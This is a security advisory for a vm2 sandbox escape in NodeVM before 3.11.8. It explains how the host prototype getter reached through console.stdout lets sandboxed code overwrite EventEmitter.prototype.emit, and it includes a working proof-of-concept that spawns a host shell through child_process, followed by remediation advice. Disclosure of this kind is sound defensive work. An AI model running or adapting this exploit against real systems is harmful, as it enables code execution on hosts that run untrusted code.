CVE-2026-92955: vm2 before 3.11.8 Sandbox Escape via NodeVM
Summary
It being possible to obtain the host proto getter/setter, has been used in many reports:
- https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq - https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg - https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p - https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6
Yet it was never patched...
---
This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via console.stdout/console.stderr (NodeVM with console: 'inherit', which is the default)
Details
The prototype chain for console.stdout/console.stderr is:
stdout / stderr -> WriteStream (TTY only) -> Socket -> Duplex -> Readable -> Stream -> EventEmitter
process is an EventEmitter, and nothing stops us from writing things to EventEmmiter.prototype
By overwriting EventEmmiter.prototype.emit with a function, and making process emit an event (e.g. exit, unhandledRejection etc.), we can execute code with this being process.
This also bypasses --disallow-code-generation-from-strings, which blocks the "usual" escape of obtaining the host function constructor.
PoC
js const { NodeVM } = require("vm2");
code = const gP = Buffer.call.call(lookupGetter,67,'proto');
// vm proto getter console.log(lookupGetter.call(0,'proto').call(console.stderr)); // [Object: null prototype] {}
// host proto getter console.log(gP.call(console.stderr)); // Socket { [...] }
let p = console.stdout; while (p.pipe) { console.log(p.constructor.name); p = gP.call(p); };
p.emit = function(){ console.log(this+[]); this.getBuiltinModule("childprocess").execSync("sh",{stdio:"inherit"}) } ;
const vm = new NodeVM(); vm.run(code);
Other sources
vm2 before 3.11.8 contains a sandbox escape vulnerability in NodeVM that allows attackers to access the host proto getter/setter through console.stdout and console.stderr. Attackers can overwrite EventEmitter.prototype.emit and trigger process events to execute code with process context, bypassing code generation restrictions.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/vm2to a version that resolves this vulnerability.Fixed in 3.11.8 - Upgrade
Upgrade
vm2to a version that resolves this vulnerability.Fixed in 3.11.8
Event History
Frequently Asked Questions
Which deployments are exposed?
Deployments using vm2 versions before 3.11.8 are affected when they use NodeVM to run attacker-controlled or otherwise untrusted code. The issue enables sandboxed code to escape into the host process context.
Does exploitation require credentials or user interaction?
No. The supplied vector indicates network reachability, low attack complexity, no privileges required, and no user interaction.
What is the impact after a successful escape?
An attacker can execute code with the host process context. The reported impact includes high confidentiality, integrity, and availability effects, with scope changed beyond the sandbox.
What version should be used to remediate the issue?
Upgrade vm2 to version 3.11.8 or later. Versions before 3.11.8 are identified as affected.